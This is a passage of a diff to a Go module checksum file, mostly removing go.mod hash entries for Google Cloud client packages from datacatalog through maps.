-cloud.google.com/go/datacatalog v1.3.0/go.mod h1:g9svFY6tuR+j+hrTw3J2dNcmI0dzmSiyOzm8kpLq0a0= -cloud.google.com/go/datacatalog v1.5.0/go.mod h1:M7GPLNQeLfWqeIm3iuiruhPzkt65+Bx8dAKvScX8jvs= -cloud.google.com/go/datacatalog v1.6.0/go.mod h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= -cloud.google.com/go/datacatalog v1.7.0/go.mod h1:9mEl4AuDYWw81UGc41HonIHH7/sn52H0/tc8f8ZbZIE= -cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOXxZoKYF5wdISM= -cloud.google.com/go/datacatalog v1.8.1/go.mod h1:RJ58z4rMp3gvETA465Vg+ag8BGgBdnRPEMMSTr5Uv+M= -cloud.google.com/go/datacatalog v1.12.0/go.mod h1:CWae8rFkfp6LzLumKOnmVh4+Zle4A3NXLzVJ1d1mRm0= -cloud.google.com/go/datacatalog v1.13.0/go.mod h1:E4Rj9a5ZtAxcQJlEBTLgMTphfP11/lNaAshpoBgemX8= -cloud.google.com/go/datacatalog v1.14.0/go.mod h1:h0PrGtlihoutNMp/uvwhawLQ9+c63Kz65UFqh49Yo+E= -cloud.google.com/go/datacatalog v1.14.1/go.mod h1:d2CevwTG4yedZilwe+v3E3ZBDRMobQfSG/a6cCCN5R4= -cloud.google.com/go/datacatalog v1.16.0/go.mod h1:d2CevwTG4yedZilwe+v3E3ZBDRMobQfSG/a6cCCN5R4= -cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= -cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= -cloud.google.com/go/dataflow v0.8.0/go.mod h1:Rcf5YgTKPtQyYz8bLYhFoIV/vP39eL7fWNcSOyFfLJE= -cloud.google.com/go/dataflow v0.9.1/go.mod h1:Wp7s32QjYuQDWqJPFFlnBKhkAtiFpMTdg00qGbnIHVw= -cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= -cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= -cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= -cloud.google.com/go/dataform v0.6.0/go.mod h1:QPflImQy33e29VuapFdf19oPbE4aYTJxr31OAPV+ulA= -cloud.google.com/go/dataform v0.7.0/go.mod h1:7NulqnVozfHvWUBpMDfKMUESr+85aJsC/2O0o3jWPDE= -cloud.google.com/go/dataform v0.8.1/go.mod h1:3BhPSiw8xmppbgzeBbmDvmSWlwouuJkXsXsb8UBih9M= -cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= -cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= -cloud.google.com/go/datafusion v1.6.0/go.mod h1:WBsMF8F1RhSXvVM8rCV3AeyWVxcC2xY6vith3iw3S+8= -cloud.google.com/go/datafusion v1.7.1/go.mod h1:KpoTBbFmoToDExJUso/fcCiguGDk7MEzOWXUsJo0wsI= -cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= -cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= -cloud.google.com/go/datalabeling v0.7.0/go.mod h1:WPQb1y08RJbmpM3ww0CSUAGweL0SxByuW2E+FU+wXcM= -cloud.google.com/go/datalabeling v0.8.1/go.mod h1:XS62LBSVPbYR54GfYQsPXZjTW8UxCK2fkDciSrpRFdY= -cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= -cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= -cloud.google.com/go/dataplex v1.5.2/go.mod h1:cVMgQHsmfRoI5KFYq4JtIBEUbYwc3c7tXmIDhRmNNVQ= -cloud.google.com/go/dataplex v1.6.0/go.mod h1:bMsomC/aEJOSpHXdFKFGQ1b0TDPIeL28nJObeO1ppRs= -cloud.google.com/go/dataplex v1.8.1/go.mod h1:7TyrDT6BCdI8/38Uvp0/ZxBslOslP2X2MPDucliyvSE= -cloud.google.com/go/dataplex v1.9.0/go.mod h1:7TyrDT6BCdI8/38Uvp0/ZxBslOslP2X2MPDucliyvSE= -cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= -cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= -cloud.google.com/go/dataproc v1.12.0/go.mod h1:zrF3aX0uV3ikkMz6z4uBbIKyhRITnxvr4i3IjKsKrw4= -cloud.google.com/go/dataproc/v2 v2.0.1/go.mod h1:7Ez3KRHdFGcfY7GcevBbvozX+zyWGcwLJvvAMwCaoZ4= -cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= -cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= -cloud.google.com/go/dataqna v0.7.0/go.mod h1:Lx9OcIIeqCrw1a6KdO3/5KMP1wAmTc0slZWwP12Qq3c= -cloud.google.com/go/dataqna v0.8.1/go.mod h1:zxZM0Bl6liMePWsHA8RMGAfmTG34vJMapbHAxQ5+WA8= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= -cloud.google.com/go/datastore v1.11.0/go.mod h1:TvGxBIHCS50u8jzG+AW/ppf87v1of8nwzFNgEZU1D3c= -cloud.google.com/go/datastore v1.12.0/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= -cloud.google.com/go/datastore v1.12.1/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= -cloud.google.com/go/datastore v1.13.0/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= -cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= -cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= -cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= -cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= -cloud.google.com/go/datastream v1.6.0/go.mod h1:6LQSuswqLa7S4rPAOZFVjHIG3wJIjZcZrw8JDEDJuIs= -cloud.google.com/go/datastream v1.7.0/go.mod h1:uxVRMm2elUSPuh65IbZpzJNMbuzkcvu5CjMqVIUHrww= -cloud.google.com/go/datastream v1.9.1/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= -cloud.google.com/go/datastream v1.10.0/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= -cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= -cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= -cloud.google.com/go/deploy v1.6.0/go.mod h1:f9PTHehG/DjCom3QH0cntOVRm93uGBDt2vKzAPwpXQI= -cloud.google.com/go/deploy v1.8.0/go.mod h1:z3myEJnA/2wnB4sgjqdMfgxCA0EqC3RBTNcVPs93mtQ= -cloud.google.com/go/deploy v1.11.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= -cloud.google.com/go/deploy v1.13.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= -cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= -cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= -cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= -cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= -cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= -cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= -cloud.google.com/go/dialogflow v1.31.0/go.mod h1:cuoUccuL1Z+HADhyIA7dci3N5zUssgpBJmCzI6fNRB4= -cloud.google.com/go/dialogflow v1.32.0/go.mod h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= -cloud.google.com/go/dialogflow v1.38.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= -cloud.google.com/go/dialogflow v1.40.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= -cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= -cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= -cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= -cloud.google.com/go/dlp v1.10.1/go.mod h1:IM8BWz1iJd8njcNcG0+Kyd9OPnqnRNkDV8j42VT5KOI= -cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= -cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= -cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= -cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= -cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= -cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= -cloud.google.com/go/documentai v1.20.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= -cloud.google.com/go/documentai v1.22.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= -cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= -cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= -cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= -cloud.google.com/go/domains v0.9.1/go.mod h1:aOp1c0MbejQQ2Pjf1iJvnVyT+z6R6s8pX66KaCSDYfE= -cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= -cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= -cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= -cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= -cloud.google.com/go/edgecontainer v1.1.1/go.mod h1:O5bYcS//7MELQZs3+7mabRqoWQhXCzenBu0R8bz2rwk= -cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= -cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= -cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= -cloud.google.com/go/essentialcontacts v1.5.0/go.mod h1:ay29Z4zODTuwliK7SnX8E86aUF2CTzdNtvv42niCX0M= -cloud.google.com/go/essentialcontacts v1.6.2/go.mod h1:T2tB6tX+TRak7i88Fb2N9Ok3PvY3UNbUsMag9/BARh4= -cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= -cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= -cloud.google.com/go/eventarc v1.10.0/go.mod h1:u3R35tmZ9HvswGRBnF48IlYgYeBcPUCjkr4BTdem2Kw= -cloud.google.com/go/eventarc v1.11.0/go.mod h1:PyUjsUKPWoRBCHeOxZd/lbOOjahV41icXyUY5kSTvVY= -cloud.google.com/go/eventarc v1.12.1/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= -cloud.google.com/go/eventarc v1.13.0/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= -cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= -cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= -cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= -cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= -cloud.google.com/go/filestore v1.7.1/go.mod h1:y10jsorq40JJnjR/lQ8AfFbbcGlw3g+Dp8oN7i7FjV4= -cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= -cloud.google.com/go/firestore v1.11.0/go.mod h1:b38dKhgzlmNNGTNZZwe7ZRFEuRab1Hay3/DBsIGKKy4= -cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= -cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= -cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= -cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= -cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= -cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= -cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= -cloud.google.com/go/functions v1.15.1/go.mod h1:P5yNWUTkyU+LvW/S9O6V+V423VZooALQlqoXdoPz5AE= -cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= -cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= -cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= -cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= -cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= -cloud.google.com/go/gaming v1.10.1/go.mod h1:XQQvtfP8Rb9Rxnxm5wFVpAp9zCQkJi2bLIb7iHGwB3s= -cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= -cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= -cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= -cloud.google.com/go/gkebackup v1.3.0/go.mod h1:vUDOu++N0U5qs4IhG1pcOnD1Mac79xWy6GoBFlWCWBU= -cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= -cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= -cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= -cloud.google.com/go/gkeconnect v0.8.1/go.mod h1:KWiK1g9sDLZqhxB2xEuPV8V9NYzrqTUmQR9shJHpOZw= -cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= -cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= -cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= -cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= -cloud.google.com/go/gkehub v0.14.1/go.mod h1:VEXKIJZ2avzrbd7u+zeMtW00Y8ddk/4V9511C9CQGTY= -cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= -cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= -cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= -cloud.google.com/go/gkemulticloud v0.6.1/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= -cloud.google.com/go/gkemulticloud v1.0.0/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= -cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= -cloud.google.com/go/grafeas v0.3.0/go.mod h1:P7hgN24EyONOTMyeJH6DxG4zD7fwiYa5Q6GUgyFSOU8= -cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= -cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= -cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= -cloud.google.com/go/gsuiteaddons v1.6.1/go.mod h1:CodrdOqRZcLp5WOwejHWYBjZvfY0kOphkAKpF/3qdZY= -cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= -cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= -cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= -cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= -cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= -cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= -cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= -cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= -cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= -cloud.google.com/go/iam v1.0.1/go.mod h1:yR3tmSL8BcZB4bxByRv2jkSIahVmCtfKZwLYGBalRE8= -cloud.google.com/go/iam v1.1.0/go.mod h1:nxdHjaKfCr7fNYx/HJMM8LgiMugmveWlkatear5gVyk= -cloud.google.com/go/iam v1.1.1/go.mod h1:A5avdyVL2tCppe4unb0951eI9jreack+RJ0/d+KUZOU= -cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= -cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= -cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= -cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= -cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= -cloud.google.com/go/iap v1.8.1/go.mod h1:sJCbeqg3mvWLqjZNsI6dfAtbbV1DL2Rl7e1mTyXYREQ= -cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= -cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= -cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= -cloud.google.com/go/ids v1.4.1/go.mod h1:np41ed8YMU8zOgv53MMMoCntLTn2lF+SUzlM+O3u/jw= -cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= -cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= -cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= -cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= -cloud.google.com/go/iot v1.7.1/go.mod h1:46Mgw7ev1k9KqK1ao0ayW9h0lI+3hxeanz+L1zmbbbk= -cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= -cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= -cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= -cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= -cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= -cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= -cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= -cloud.google.com/go/kms v1.11.0/go.mod h1:hwdiYC0xjnWsKQQCQQmIQnS9asjYVSK6jtXm+zFqXLM= -cloud.google.com/go/kms v1.12.1/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= -cloud.google.com/go/kms v1.15.0/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= -cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= -cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= -cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= -cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= -cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= -cloud.google.com/go/language v1.10.1/go.mod h1:CPp94nsdVNiQEt1CNjF5WkTcisLiHPyIbMhvR8H2AW0= -cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= -cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= -cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= -cloud.google.com/go/lifesciences v0.9.1/go.mod h1:hACAOd1fFbCGLr/+weUKRAJas82Y4vrL3O5326N//Wc= -cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= -cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= -cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= -cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= -cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= -cloud.google.com/go/longrunning v0.4.2/go.mod h1:OHrnaYyLUV6oqwh0xiS7e5sLQhP1m0QU9R+WhGDMgIQ= -cloud.google.com/go/longrunning v0.5.0/go.mod h1:0JNuqRShmscVAhIACGtskSAWtqtOoPkwP0YF1oVEchc= -cloud.google.com/go/longrunning v0.5.1/go.mod h1:spvimkwdz6SPWKEt/XBij79E9fiTkHSQl/fRUUQJYJc= -cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= -cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= -cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= -cloud.google.com/go/managedidentities v1.6.1/go.mod h1:h/irGhTN2SkZ64F43tfGPMbHnypMbu4RB3yl8YcuEak= -cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= -cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= -cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= 